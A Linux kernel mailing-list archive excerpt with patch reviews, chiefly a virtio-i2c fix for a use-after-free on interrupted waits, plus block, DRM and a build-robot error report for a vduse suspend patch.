> > struct virtio_i2c_in_hdr in_hdr ____cacheline_aligned;
> > };
> >
> > +/**
> > + * struct virtio_i2c_xfer - a queued I2C transfer
> > + * @ref: one ref for the caller, plus one per in-flight virtqueue request
> > + * @bounce_buf_base: start of bounce buffer region
> > + * @reqs: the virtio I2C requests
> > + *
> > + * Allocation layout:
> > + * - struct virtio_i2c_xfer xfer
> > + * - struct virtio_i2c_req reqs[num]
> > + * - padding to dma_get_cache_alignment()
> > + * - u8 bounce_buf[virtio_i2c_bounce_size(msgs[0].len)]
> > + * ...
> > + * - u8 bounce_buf[virtio_i2c_bounce_size(msgs[num-1].len)]
> > + */
> > +struct virtio_i2c_xfer {
> > + struct kref ref;
> > + u8 *bounce_buf_base;
> > + struct virtio_i2c_req reqs[];
> > +};
> > +
> > +static size_t virtio_i2c_bounce_size(unsigned int len)
> > +{
> > + return ALIGN(len, dma_get_cache_alignment());
> > +}
> > +
> > +static void virtio_i2c_xfer_release(struct kref *ref)
> > +{
> > + struct virtio_i2c_xfer *xfer = container_of(ref, struct virtio_i2c_xfer, ref);
> > + kfree(xfer);
> > +}
> > +
> > static void virtio_i2c_msg_done(struct virtqueue *vq)
> > {
> > struct virtio_i2c_req *req;
> > unsigned int len;
> >
> > - while ((req = virtqueue_get_buf(vq, &len)))
> > + while ((req = virtqueue_get_buf(vq, &len))) {
> > complete(&req->completion);
> > + kref_put(&req->xfer->ref, virtio_i2c_xfer_release);
> > + }
> > }
> >
> > -static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> > - struct virtio_i2c_req *reqs,
> > +static int virtio_i2c_prepare_xfer(struct virtqueue *vq,
> > + struct virtio_i2c_xfer *xfer,
> > struct i2c_msg *msgs, int num)
> > {
> > struct scatterlist *sgs[3], out_hdr, msg_buf, in_hdr;
> > + struct virtio_i2c_req *reqs = xfer->reqs;
> > + u8 *bounce_buf = xfer->bounce_buf_base;
> > int i;
> >
> > for (i = 0; i < num; i++) {
> > int outcnt = 0, incnt = 0;
> >
> > + reqs[i].xfer = xfer;
> > + reqs[i].read = !!(msgs[i].flags & I2C_M_RD);
> > init_completion(&reqs[i].completion);
> >
> > /*
> > @@ -82,23 +126,31 @@ static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> > sgs[outcnt++] = &out_hdr;
> >
> > if (msgs[i].len) {
> > - reqs[i].buf = i2c_get_dma_safe_msg_buf(&msgs[i], 1);
> > - if (!reqs[i].buf)
> > - break;
> > + /*
> > + * Even if msg->flags has I2C_M_DMA_SAFE set, a bounce
> > + * buffer is required because the transfer may be
> > + * interrupted, after which msg->buf is no longer valid.
> > + */
> > + if (!(msgs[i].flags & I2C_M_RD))
> > + memcpy(bounce_buf, msgs[i].buf, msgs[i].len);
> >
> > - sg_init_one(&msg_buf, reqs[i].buf, msgs[i].len);
> > + sg_init_one(&msg_buf, bounce_buf, msgs[i].len);
> >
> > if (msgs[i].flags & I2C_M_RD)
> > sgs[outcnt + incnt++] = &msg_buf;
> > else
> > sgs[outcnt++] = &msg_buf;
> > }
> > + bounce_buf += virtio_i2c_bounce_size(msgs[i].len);
> >
> > sg_init_one(&in_hdr, &reqs[i].in_hdr, sizeof(reqs[i].in_hdr));
> > sgs[outcnt + incnt++] = &in_hdr;
> >
> > + /* This reference is released in virtio_i2c_msg_done(). */
> > + kref_get(&xfer->ref);
> > +
> > if (virtqueue_add_sgs(vq, sgs, outcnt, incnt, &reqs[i], GFP_KERNEL)) {
> > - i2c_put_dma_safe_msg_buf(reqs[i].buf, &msgs[i], false);
> > + kref_put(&xfer->ref, virtio_i2c_xfer_release);
> > break;
> > }
> > }
> > @@ -106,26 +158,38 @@ static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> > return i;
> > }
> >
> > -static int virtio_i2c_complete_reqs(struct virtqueue *vq,
> > - struct virtio_i2c_req *reqs,
> > - struct i2c_msg *msgs, int num)
> > +static int virtio_i2c_complete_xfer(struct virtio_i2c_xfer *xfer,
> > + struct i2c_msg *msgs,
> > + int num)
> > {
> > + struct virtio_i2c_req *reqs = xfer->reqs;
> > + u8 *bounce_buf = xfer->bounce_buf_base;
> > bool failed = false;
> > int i, j = 0;
> >
> > for (i = 0; i < num; i++) {
> > struct virtio_i2c_req *req = &reqs[i];
> > + struct i2c_msg *msg = &msgs[i];
> > +
> > + if (wait_for_completion_interruptible(&req->completion))
> > + return -EINTR;
> > +
> > + if (req->in_hdr.status != VIRTIO_I2C_MSG_OK) {
> > + /*
> > + * Don't break yet. Try to wait until all requests
> > + * complete to ensure that the virtqueue has enough
> > + * descriptor slots for the next transfer.
> > + */
> > + failed = true;
> > + }
> >
> > if (!failed) {
> > - if (wait_for_completion_interruptible(&req->completion))
> > - failed = true;
> > - else if (req->in_hdr.status != VIRTIO_I2C_MSG_OK)
> > - failed = true;
> > - else
> > - j++;
> > + if (req->read)
> > + memcpy(msg->buf, bounce_buf, msg->len);
> > + j++;
> > }
> >
> > - i2c_put_dma_safe_msg_buf(reqs[i].buf, &msgs[i], !failed);
> > + bounce_buf += virtio_i2c_bounce_size(msg->len);
> > }
> >
> > return j;
> > @@ -136,14 +200,31 @@ static int virtio_i2c_xfer(struct i2c_adapter *adap, struct i2c_msg *msgs,
> > {
> > struct virtio_i2c *vi = i2c_get_adapdata(adap);
> > struct virtqueue *vq = vi->vq;
> > - struct virtio_i2c_req *reqs;
> > - int count;
> > + struct virtio_i2c_xfer *xfer;
> > + size_t alloc_size;
> > + int i, count;
> > +
> > + alloc_size = struct_size(xfer, reqs, num);
> > + if (check_add_overflow(alloc_size,
> > + dma_get_cache_alignment() - 1,
> > + &alloc_size)) /* padding for PTR_ALIGN() */
> > + return -EOVERFLOW;
> > + for (i = 0; i < num; i++) {
> > + if (check_add_overflow(alloc_size,
> > + virtio_i2c_bounce_size(msgs[i].len),
> > + &alloc_size))
> > + return -EOVERFLOW;
> > + }
> >
> > - reqs = kzalloc_objs(*reqs, num);
> > - if (!reqs)
> > + xfer = kzalloc(alloc_size, GFP_KERNEL);
> > + if (!xfer)
> > return -ENOMEM;
> >
> > - count = virtio_i2c_prepare_reqs(vq, reqs, msgs, num);
> > + kref_init(&xfer->ref);
> > + xfer->bounce_buf_base = PTR_ALIGN((u8 *)(xfer->reqs + num),
> > + dma_get_cache_alignment());
> > +
> > + count = virtio_i2c_prepare_xfer(vq, xfer, msgs, num);
> > if (!count)
> > goto err_free;
> >
> > @@ -157,10 +238,10 @@ static int virtio_i2c_xfer(struct i2c_adapter *adap, struct i2c_msg *msgs,
> > */
> > virtqueue_kick(vq);
> >
> > - count = virtio_i2c_complete_reqs(vq, reqs, msgs, count);
> > + count = virtio_i2c_complete_xfer(xfer, msgs, count);
> >
> > err_free:
> > - kfree(reqs);
> > + kref_put(&xfer->ref, virtio_i2c_xfer_release);
> > return count;
> > }
> >
> > --
> > 2.54.0
>
^ permalink raw reply
* Re: [PATCH v3 3/4] block: drop shared-tag fairness throttling
From: Keith Busch @ 2026-06-10 16:35 UTC (permalink / raw)
To: Sumit Saxena
Cc: Christoph Hellwig, Martin K . Petersen, Jens Axboe,
James E . J . Bottomley, linux-scsi, linux-block, Adam Radford,
Khalid Aziz, Adaptec OEM Raid Solutions, Matthew Wilcox,
Hannes Reinecke, Juergen E . Fischer, Russell King,
linux-arm-kernel, Finn Thain, Michael Schmitz, Anil Gurumurthy,
Sudarsana Kalluru, Oliver Neukum, Ali Akcaagac, Jamie Lenehan,
Ram Vegesna, target-devel, Bradley Grove, Satish Kharat,
Sesidhar Baddela, Karan Tilak Kumar, Yihang Li, Don Brace,
storagedev, HighPoint Linux Team, Tyrel Datwyler,
Madhavan Srinivasan, Michael Ellerman, Nicholas Piggin,
Christophe Leroy, linuxppc-dev, Brian King, Lee Duncan,
Chris Leech, Mike Christie, open-iscsi, Justin Tee, Paul Ely,
Kashyap Desai, Shivasharan S, Chandrakanth Patil,
megaraidlinux.pdl, Sathya Prakash Veerichetty, Sreekanth Reddy,
mpi3mr-linuxdrv.pdl, Suganath Prabu Subramani, Ranjan Kumar,
MPT-FusionLinux.pdl, Daniel Palmer, GOTO Masanori, YOKOTA Hiroshi,
Jack Wang, Geoff Levand, Michael Reed, Nilesh Javali,
GR-QLogic-Storage-Upstream, Narsimhulu Musini, K . Y . Srinivasan,
Haiyang Zhang, Wei Liu, Dexuan Cui, Long Li, linux-hyperv,
Michael S . Tsirkin, Jason Wang, Paolo Bonzini, Stefan Hajnoczi,
Eugenio Perez, virtualization, Vishal Bhakta,
bcm-kernel-feedback-list, Juergen Gross, Stefano Stabellini,
Oleksandr Tyshchenko, xen-devel, Bart Van Assche
In-Reply-To: <CAL2rwxr1uGshb1o=jvP2OnBffNz2cKXj8tHuAUCN5HFuy2vB_g@mail.gmail.com>
On Wed, Jun 10, 2026 at 09:16:11PM +0530, Sumit Saxena wrote:
> The motivation for this change stems from performance issue we
> encountered due to false sharing of the 'nr_active_requests_shared_tags'
> counter
> on certain CPU architectures. I initially submitted a patch to move that
> counter to
> its own cache line to avoid conflicts with 'nr_requests' and other hot
> fields
> (see:
> https://patchwork.kernel.org/project/linux-scsi/patch/20260402074637.92417-3-sumit.saxena@broadcom.com/
> ).
>
> During the review, Bart shared his work, which eliminates the
> counter entirely by removing the fairness throttling. My testing confirmed
> that
> this approach resolved the performance issues and improved IOPS.
> This patch is part of a larger set, and I have reported the cumulative
> performance
> improvements in the cover letter.
So the problem is just the atomic operation accounting overhead? I
previously thought the device just really needed to consume all the tags
to hit performance.
^ permalink raw reply
* Re: [PATCH] drm: Consistently define pci_device_ids using named initializers
From: Uwe Kleine-König (The Capable Hub) @ 2026-06-10 16:57 UTC (permalink / raw)
To: Maarten Lankhorst, Maxime Ripard, Thomas Zimmermann, David Airlie,
Simona Vetter, Gerd Hoffmann
Cc: Markus Schneider-Pargmann, Patrik Jakobsson, Jianmin Lv,
Qianhai Wu, Huacai Chen, Mingcong Bai, Xi Ruoyao, Icenowy Zheng,
Dave Airlie, Jocelyn Falempe, dri-devel, linux-kernel,
virtualization, spice-devel
In-Reply-To: <20260504150537.2136760-2-u.kleine-koenig@baylibre.com>
[-- Attachment #1: Type: text/plain, Size: 730 bytes --]
On Mon, May 04, 2026 at 05:05:37PM +0200, Uwe Kleine-König (The Capable Hub) wrote:
> The .driver_data member of the various struct pci_device_id arrays were
> initialized by list expressions. This isn't easily readable if you're
> not into PCI. Using the PCI_DEVICE macro and named initializers is more
> explicit and thus easier to parse. Also skip explicit assignments of 0
> (which the compiler then takes care of).
>
> This change doesn't introduce changes to the compiled pci_device_id
> arrays. Tested on x86 and arm64.
>
> Signed-off-by: Uwe Kleine-König (The Capable Hub) <u.kleine-koenig@baylibre.com>
Does someone feel responsible to pick up this patch? (Or give review
feedback?)
Best regards
Uwe
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 488 bytes --]
^ permalink raw reply
* Re: [PATCH v5] i2c: virtio: retain xfer with kref to fix UAF on interrupted wait
From: Gavin Li @ 2026-06-10 17:34 UTC (permalink / raw)
To: Michael S. Tsirkin
Cc: linux-i2c, viresh.kumar, Chen, Jian Jun, andi.shyti,
virtualization
In-Reply-To: <CAKvMnUW-3b=cqHcozydnc6K1vD06FGk1ZO_q7S6SqhA5d8eR2g@mail.gmail.com>
Another option I am considering:
- Uninterruptible wait with timeout, timeout based on adap->timeout
- Upon timeout, reset the device with
virtio_i2c_del_vqs() + virtio_i2c_setup_vqs() + virtio_device_ready()
This behavior more closely mirrors what other I2C bus drivers do.
The device should be completely quiesced when virtio_i2c_del_vqs()
returns, avoiding the UAF.
On Wed, Jun 10, 2026 at 12:32 PM Gavin Li <gavin.li@samsara.com> wrote:
>
> On qemu, queue reset is only supported by virtio-net. If a queue reset
> is requested, the vhost backend is never notified, and as a result it's
> still at the device's discretion to write to the potentially freed buffer.
>
> As for device reset, I really don't want to initiate a device reset just
> because a userspace process was signaled (it seems a little extreme).
> I can implement this if you think it is the best path forward.
>
> Compared to the original patch of making the wait uninterruptible,
> I feel like this patch has become much larger than I originally wanted.
> The commit a663b3c47ab1 ("i2c: virtio: Avoid hang by using interruptible
> completion wait") that introduced the UAF mentioned that it was originally
> done because a transfer could hang, but IMO this should really be fixed
> in the vhost backend rather than in the driver, mostly since virtio-i2c
> doesn't provide a way to cancel an in-flight request.
>
> On Wed, Jun 10, 2026 at 12:07 PM Michael S. Tsirkin <mst@redhat.com> wrote:
> >
> > On Wed, Jun 10, 2026 at 11:58:34AM -0400, Gavin Li wrote:
> > > commit a663b3c47ab1 ("i2c: virtio: Avoid hang by using interruptible
> > > completion wait") switched virtio_i2c_complete_reqs() to
> > > wait_for_completion_interruptible() so a stuck device cannot hang a
> > > task forever. That left a use-after-free: if the wait returns early on
> > > a signal, virtio_i2c_xfer() frees reqs and DMA bounce buffers while the
> > > device may still hold virtqueue tokens pointing at &reqs[i] and DMA
> > > into read buffers. When those requests complete later,
> > > virtio_i2c_msg_done() calls complete() on freed memory.
> > >
> > > Waiting uninterruptibly for every completion before freeing avoids the
> > > UAF but can hang the caller indefinitely if the virtio side never
> > > completes the request. Performing a queue reset / device reset is
> > > possible in this scenario, but adds complexity.
> > >
> > > This commit manages the freeing of the xfer allocations via kref, and
> > > ensures that each in-flight request holds a reference. This fixes the
> > > use-after-free by ensuring that the virtio device has a valid location
> > > to write to until the request completes. This will cause a memory leak
> > > in cases where the device hangs, but that is much preferable to memory
> > > corruption.
> > >
> > > Additionally, force usage of a bounce buffer even if the i2c_msg buf is
> > > DMA-safe, since the buffer passed to the virtqueue must remain valid
> > > even if the transfer is interrupted. Remove usage of
> > > i2c_get_dma_safe_msg_buf() since it may pass through msg->buf directly.
> > > All bounce buffers are part of the single xfer allocation, so there is
> > > no additional allocation overhead.
> > >
> > > Signed-off-by: Gavin Li <gavin.li@samsara.com>
> >
> > But maybe, if queue reset is supported, we could use that?
> >
> > Is that problematic?
> >
> >
> > And maybe fallback on device reset on interrupt even?
> >
> > > ---
> > >
> > > Changes in v5:
> > > - DMA-align all bounce buffers
> > >
> > > Changes in v4:
> > > - Pack bounce buffers into a single allocation after reqs[]
> > > - Remove per-request buf pointer and xfer->num
> > > - Remove req.msg, track message direction with req->read
> > > - Simplify xfer release to a single kfree()
> > > - Restore using j to track successful transfers in _complete_xfer()
> > > ---
> > > drivers/i2c/busses/i2c-virtio.c | 135 +++++++++++++++++++++++++-------
> > > 1 file changed, 108 insertions(+), 27 deletions(-)
> > >
> > > diff --git a/drivers/i2c/busses/i2c-virtio.c b/drivers/i2c/busses/i2c-virtio.c
> > > index 5da6fef92bec3..a5602865102d9 100644
> > > --- a/drivers/i2c/busses/i2c-virtio.c
> > > +++ b/drivers/i2c/busses/i2c-virtio.c
> > > @@ -10,10 +10,13 @@
> > >
> > > #include <linux/acpi.h>
> > > #include <linux/completion.h>
> > > +#include <linux/dma-mapping.h>
> > > #include <linux/err.h>
> > > #include <linux/i2c.h>
> > > #include <linux/kernel.h>
> > > +#include <linux/kref.h>
> > > #include <linux/module.h>
> > > +#include <linux/overflow.h>
> > > #include <linux/virtio.h>
> > > #include <linux/virtio_ids.h>
> > > #include <linux/virtio_config.h>
> > > @@ -31,39 +34,80 @@ struct virtio_i2c {
> > > struct virtqueue *vq;
> > > };
> > >
> > > +struct virtio_i2c_xfer;
> > > +
> > > /**
> > > * struct virtio_i2c_req - the virtio I2C request structure
> > > + * @xfer: owning transfer
> > > * @completion: completion of virtio I2C message
> > > + * @read: true if this is a read message (I2C_M_RD is set)
> > > * @out_hdr: the OUT header of the virtio I2C message
> > > - * @buf: the buffer into which data is read, or from which it's written
> > > * @in_hdr: the IN header of the virtio I2C message
> > > */
> > > struct virtio_i2c_req {
> > > + struct virtio_i2c_xfer *xfer;
> > > struct completion completion;
> > > + bool read;
> > > struct virtio_i2c_out_hdr out_hdr ____cacheline_aligned;
> > > - uint8_t *buf ____cacheline_aligned;
> > > struct virtio_i2c_in_hdr in_hdr ____cacheline_aligned;
> > > };
> > >
> > > +/**
> > > + * struct virtio_i2c_xfer - a queued I2C transfer
> > > + * @ref: one ref for the caller, plus one per in-flight virtqueue request
> > > + * @bounce_buf_base: start of bounce buffer region
> > > + * @reqs: the virtio I2C requests
> > > + *
> > > + * Allocation layout:
> > > + * - struct virtio_i2c_xfer xfer
> > > + * - struct virtio_i2c_req reqs[num]
> > > + * - padding to dma_get_cache_alignment()
> > > + * - u8 bounce_buf[virtio_i2c_bounce_size(msgs[0].len)]
> > > + * ...
> > > + * - u8 bounce_buf[virtio_i2c_bounce_size(msgs[num-1].len)]
> > > + */
> > > +struct virtio_i2c_xfer {
> > > + struct kref ref;
> > > + u8 *bounce_buf_base;
> > > + struct virtio_i2c_req reqs[];
> > > +};
> > > +
> > > +static size_t virtio_i2c_bounce_size(unsigned int len)
> > > +{
> > > + return ALIGN(len, dma_get_cache_alignment());
> > > +}
> > > +
> > > +static void virtio_i2c_xfer_release(struct kref *ref)
> > > +{
> > > + struct virtio_i2c_xfer *xfer = container_of(ref, struct virtio_i2c_xfer, ref);
> > > + kfree(xfer);
> > > +}
> > > +
> > > static void virtio_i2c_msg_done(struct virtqueue *vq)
> > > {
> > > struct virtio_i2c_req *req;
> > > unsigned int len;
> > >
> > > - while ((req = virtqueue_get_buf(vq, &len)))
> > > + while ((req = virtqueue_get_buf(vq, &len))) {
> > > complete(&req->completion);
> > > + kref_put(&req->xfer->ref, virtio_i2c_xfer_release);
> > > + }
> > > }
> > >
> > > -static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> > > - struct virtio_i2c_req *reqs,
> > > +static int virtio_i2c_prepare_xfer(struct virtqueue *vq,
> > > + struct virtio_i2c_xfer *xfer,
> > > struct i2c_msg *msgs, int num)
> > > {
> > > struct scatterlist *sgs[3], out_hdr, msg_buf, in_hdr;
> > > + struct virtio_i2c_req *reqs = xfer->reqs;
> > > + u8 *bounce_buf = xfer->bounce_buf_base;
> > > int i;
> > >
> > > for (i = 0; i < num; i++) {
> > > int outcnt = 0, incnt = 0;
> > >
> > > + reqs[i].xfer = xfer;
> > > + reqs[i].read = !!(msgs[i].flags & I2C_M_RD);
> > > init_completion(&reqs[i].completion);
> > >
> > > /*
> > > @@ -82,23 +126,31 @@ static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> > > sgs[outcnt++] = &out_hdr;
> > >
> > > if (msgs[i].len) {
> > > - reqs[i].buf = i2c_get_dma_safe_msg_buf(&msgs[i], 1);
> > > - if (!reqs[i].buf)
> > > - break;
> > > + /*
> > > + * Even if msg->flags has I2C_M_DMA_SAFE set, a bounce
> > > + * buffer is required because the transfer may be
> > > + * interrupted, after which msg->buf is no longer valid.
> > > + */
> > > + if (!(msgs[i].flags & I2C_M_RD))
> > > + memcpy(bounce_buf, msgs[i].buf, msgs[i].len);
> > >
> > > - sg_init_one(&msg_buf, reqs[i].buf, msgs[i].len);
> > > + sg_init_one(&msg_buf, bounce_buf, msgs[i].len);
> > >
> > > if (msgs[i].flags & I2C_M_RD)
> > > sgs[outcnt + incnt++] = &msg_buf;
> > > else
> > > sgs[outcnt++] = &msg_buf;
> > > }
> > > + bounce_buf += virtio_i2c_bounce_size(msgs[i].len);
> > >
> > > sg_init_one(&in_hdr, &reqs[i].in_hdr, sizeof(reqs[i].in_hdr));
> > > sgs[outcnt + incnt++] = &in_hdr;
> > >
> > > + /* This reference is released in virtio_i2c_msg_done(). */
> > > + kref_get(&xfer->ref);
> > > +
> > > if (virtqueue_add_sgs(vq, sgs, outcnt, incnt, &reqs[i], GFP_KERNEL)) {
> > > - i2c_put_dma_safe_msg_buf(reqs[i].buf, &msgs[i], false);
> > > + kref_put(&xfer->ref, virtio_i2c_xfer_release);
> > > break;
> > > }
> > > }
> > > @@ -106,26 +158,38 @@ static int virtio_i2c_prepare_reqs(struct virtqueue *vq,
> > > return i;
> > > }
> > >
> > > -static int virtio_i2c_complete_reqs(struct virtqueue *vq,
> > > - struct virtio_i2c_req *reqs,
> > > - struct i2c_msg *msgs, int num)
> > > +static int virtio_i2c_complete_xfer(struct virtio_i2c_xfer *xfer,
> > > + struct i2c_msg *msgs,
> > > + int num)
> > > {
> > > + struct virtio_i2c_req *reqs = xfer->reqs;
> > > + u8 *bounce_buf = xfer->bounce_buf_base;
> > > bool failed = false;
> > > int i, j = 0;
> > >
> > > for (i = 0; i < num; i++) {
> > > struct virtio_i2c_req *req = &reqs[i];
> > > + struct i2c_msg *msg = &msgs[i];
> > > +
> > > + if (wait_for_completion_interruptible(&req->completion))
> > > + return -EINTR;
> > > +
> > > + if (req->in_hdr.status != VIRTIO_I2C_MSG_OK) {
> > > + /*
> > > + * Don't break yet. Try to wait until all requests
> > > + * complete to ensure that the virtqueue has enough
> > > + * descriptor slots for the next transfer.
> > > + */
> > > + failed = true;
> > > + }
> > >
> > > if (!failed) {
> > > - if (wait_for_completion_interruptible(&req->completion))
> > > - failed = true;
> > > - else if (req->in_hdr.status != VIRTIO_I2C_MSG_OK)
> > > - failed = true;
> > > - else
> > > - j++;
> > > + if (req->read)
> > > + memcpy(msg->buf, bounce_buf, msg->len);
> > > + j++;
> > > }
> > >
> > > - i2c_put_dma_safe_msg_buf(reqs[i].buf, &msgs[i], !failed);
> > > + bounce_buf += virtio_i2c_bounce_size(msg->len);
> > > }
> > >
> > > return j;
> > > @@ -136,14 +200,31 @@ static int virtio_i2c_xfer(struct i2c_adapter *adap, struct i2c_msg *msgs,
> > > {
> > > struct virtio_i2c *vi = i2c_get_adapdata(adap);
> > > struct virtqueue *vq = vi->vq;
> > > - struct virtio_i2c_req *reqs;
> > > - int count;
> > > + struct virtio_i2c_xfer *xfer;
> > > + size_t alloc_size;
> > > + int i, count;
> > > +
> > > + alloc_size = struct_size(xfer, reqs, num);
> > > + if (check_add_overflow(alloc_size,
> > > + dma_get_cache_alignment() - 1,
> > > + &alloc_size)) /* padding for PTR_ALIGN() */
> > > + return -EOVERFLOW;
> > > + for (i = 0; i < num; i++) {
> > > + if (check_add_overflow(alloc_size,
> > > + virtio_i2c_bounce_size(msgs[i].len),
> > > + &alloc_size))
> > > + return -EOVERFLOW;
> > > + }
> > >
> > > - reqs = kzalloc_objs(*reqs, num);
> > > - if (!reqs)
> > > + xfer = kzalloc(alloc_size, GFP_KERNEL);
> > > + if (!xfer)
> > > return -ENOMEM;
> > >
> > > - count = virtio_i2c_prepare_reqs(vq, reqs, msgs, num);
> > > + kref_init(&xfer->ref);
> > > + xfer->bounce_buf_base = PTR_ALIGN((u8 *)(xfer->reqs + num),
> > > + dma_get_cache_alignment());
> > > +
> > > + count = virtio_i2c_prepare_xfer(vq, xfer, msgs, num);
> > > if (!count)
> > > goto err_free;
> > >
> > > @@ -157,10 +238,10 @@ static int virtio_i2c_xfer(struct i2c_adapter *adap, struct i2c_msg *msgs,
> > > */
> > > virtqueue_kick(vq);
> > >
> > > - count = virtio_i2c_complete_reqs(vq, reqs, msgs, count);
> > > + count = virtio_i2c_complete_xfer(xfer, msgs, count);
> > >
> > > err_free:
> > > - kfree(reqs);
> > > + kref_put(&xfer->ref, virtio_i2c_xfer_release);
> > > return count;
> > > }
> > >
> > > --
> > > 2.54.0
> >
^ permalink raw reply
* Re: [PATCH v5] i2c: virtio: retain xfer with kref to fix UAF on interrupted wait
From: Michael S. Tsirkin @ 2026-06-10 18:27 UTC (permalink / raw)
To: Gavin Li
Cc: linux-i2c, viresh.kumar, Chen, Jian Jun, andi.shyti,
virtualization
In-Reply-To: <CAKvMnUW-3b=cqHcozydnc6K1vD06FGk1ZO_q7S6SqhA5d8eR2g@mail.gmail.com>
On Wed, Jun 10, 2026 at 12:32:42PM -0400, Gavin Li wrote:
> On qemu, queue reset is only supported by virtio-net.
Not hard to fix.
> If a queue reset
> is requested, the vhost backend is never notified, and as a result it's
> still at the device's discretion to write to the potentially freed buffer.
>
> As for device reset, I really don't want to initiate a device reset just
> because a userspace process was signaled (it seems a little extreme).
> I can implement this if you think it is the best path forward.
>
> Compared to the original patch of making the wait uninterruptible,
> I feel like this patch has become much larger than I originally wanted.
> The commit a663b3c47ab1 ("i2c: virtio: Avoid hang by using interruptible
> completion wait") that introduced the UAF mentioned that it was originally
> done because a transfer could hang, but IMO this should really be fixed
> in the vhost backend rather than in the driver, mostly since virtio-i2c
> doesn't provide a way to cancel an in-flight request.
Maybe the 1st step is to revert that then. Up to i2c maintainers.
^ permalink raw reply
* Re: [PATCH v5] i2c: virtio: retain xfer with kref to fix UAF on interrupted wait
From: Michael S. Tsirkin @ 2026-06-10 18:29 UTC (permalink / raw)
To: Gavin Li
Cc: linux-i2c, viresh.kumar, Chen, Jian Jun, andi.shyti,
virtualization
In-Reply-To: <CAKvMnUXk0GrYNNYOHvME6FYRdKik-7fV5B-NgvRM+i5yYKTmvw@mail.gmail.com>
On Wed, Jun 10, 2026 at 01:34:10PM -0400, Gavin Li wrote:
> Another option I am considering:
>
> - Uninterruptible wait with timeout, timeout based on adap->timeout
> - Upon timeout, reset the device with
> virtio_i2c_del_vqs() + virtio_i2c_setup_vqs() + virtio_device_ready()
>
> This behavior more closely mirrors what other I2C bus drivers do.
> The device should be completely quiesced when virtio_i2c_del_vqs()
> returns, avoiding the UAF.
I don't know enough about i2c.
Maybe
1. revert
2. some other hack
--
MST
^ permalink raw reply
* Re: [PATCH v3] vduse: Add suspend
From: kernel test robot @ 2026-06-10 19:10 UTC (permalink / raw)
To: Eugenio Pérez, Michael S . Tsirkin
Cc: llvm, oe-kbuild-all, virtualization, Jason Wang, Cindy Lu,
Xuan Zhuo, Stefano Garzarella, linux-kernel, Laurent Vivier,
Yongji Xie, Eugenio Pérez, Maxime Coquelin
In-Reply-To: <20260610083452.477759-1-eperezma@redhat.com>
Hi Eugenio,
kernel test robot noticed the following build errors:
[auto build test ERROR on next-20260609]
[cannot apply to linus/master v7.1-rc7 v7.1-rc6 v7.1-rc5 v7.1-rc7]
[If your patch is applied to the wrong git tree, kindly drop us a note.
And when submitting patch, we suggest to use '--base' as documented in
https://git-scm.com/docs/git-format-patch#_base_tree_information]
url: https://github.com/intel-lab-lkp/linux/commits/Eugenio-P-rez/vduse-Add-suspend/20260610-164534
base: next-20260609
patch link: https://lore.kernel.org/r/20260610083452.477759-1-eperezma%40redhat.com
patch subject: [PATCH v3] vduse: Add suspend
config: hexagon-allmodconfig (https://download.01.org/0day-ci/archive/20260611/202606110222.CJtRWzQl-lkp@intel.com/config)
compiler: clang version 23.0.0git (https://github.com/llvm/llvm-project 7917772d7d61384696c61102c08c2ea158e610fa)
reproduce (this is a W=1 build): (https://download.01.org/0day-ci/archive/20260611/202606110222.CJtRWzQl-lkp@intel.com/reproduce)
If you fix the issue in a separate patch/commit (i.e. not just a new version of
the same patch/commit), kindly add following tags
| Reported-by: kernel test robot <lkp@intel.com>
| Closes: https://lore.kernel.org/oe-kbuild-all/202606110222.CJtRWzQl-lkp@intel.com/
All errors (new ones prefixed by >>):
>> drivers/vdpa/vdpa_user/vduse_dev.c:566:3: error: cannot jump from this goto statement to its label
566 | goto unlock;
| ^
drivers/vdpa/vdpa_user/vduse_dev.c:568:2: note: jump bypasses initialization of variable with __attribute__((cleanup))
568 | guard(rwsem_read)(&vq->dev->rwsem);
| ^
include/linux/cleanup.h:423:2: note: expanded from macro 'guard'
423 | CLASS(_name, __UNIQUE_ID(guard))
| ^
include/linux/cleanup.h:303:3: note: expanded from macro 'CLASS'
303 | class_##_name##_constructor
| ^
<scratch space>:132:1: note: expanded from here
132 | class_rwsem_read_constructor
| ^
note: (skipping 3 expansions in backtrace; use -fmacro-backtrace-limit=0 to see all)
include/linux/compiler_types.h:16:23: note: expanded from macro '__PASTE'
16 | #define __PASTE(a, b) ___PASTE(a, b)
| ^
include/linux/compiler_types.h:15:24: note: expanded from macro '___PASTE'
15 | #define ___PASTE(a, b) a##b
| ^
<scratch space>:138:1: note: expanded from here
138 | __UNIQUE_ID_unlock_770
| ^
drivers/vdpa/vdpa_user/vduse_dev.c:568:2: note: jump bypasses initialization of variable with __attribute__((cleanup))
include/linux/cleanup.h:423:15: note: expanded from macro 'guard'
423 | CLASS(_name, __UNIQUE_ID(guard))
| ^
include/linux/compiler.h:165:2: note: expanded from macro '__UNIQUE_ID'
165 | __PASTE(__UNIQUE_ID_, \
| ^
include/linux/compiler_types.h:16:23: note: expanded from macro '__PASTE'
16 | #define __PASTE(a, b) ___PASTE(a, b)
| ^
include/linux/compiler_types.h:15:24: note: expanded from macro '___PASTE'
15 | #define ___PASTE(a, b) a##b
| ^
<scratch space>:126:1: note: expanded from here
126 | __UNIQUE_ID_guard_769
| ^
1 error generated.
vim +566 drivers/vdpa/vdpa_user/vduse_dev.c
c8a6153b6c59d9 Xie Yongji 2021-08-31 561
c8a6153b6c59d9 Xie Yongji 2021-08-31 562 static void vduse_vq_kick(struct vduse_virtqueue *vq)
c8a6153b6c59d9 Xie Yongji 2021-08-31 563 {
c8a6153b6c59d9 Xie Yongji 2021-08-31 564 spin_lock(&vq->kick_lock);
c8a6153b6c59d9 Xie Yongji 2021-08-31 565 if (!vq->ready)
c8a6153b6c59d9 Xie Yongji 2021-08-31 @566 goto unlock;
c8a6153b6c59d9 Xie Yongji 2021-08-31 567
9c4307e82fa1dc Eugenio Pérez 2026-06-10 568 guard(rwsem_read)(&vq->dev->rwsem);
9c4307e82fa1dc Eugenio Pérez 2026-06-10 569 if (vq->dev->suspended)
9c4307e82fa1dc Eugenio Pérez 2026-06-10 570 return;
9c4307e82fa1dc Eugenio Pérez 2026-06-10 571
c8a6153b6c59d9 Xie Yongji 2021-08-31 572 if (vq->kickfd)
3652117f854819 Christian Brauner 2023-11-22 573 eventfd_signal(vq->kickfd);
c8a6153b6c59d9 Xie Yongji 2021-08-31 574 else
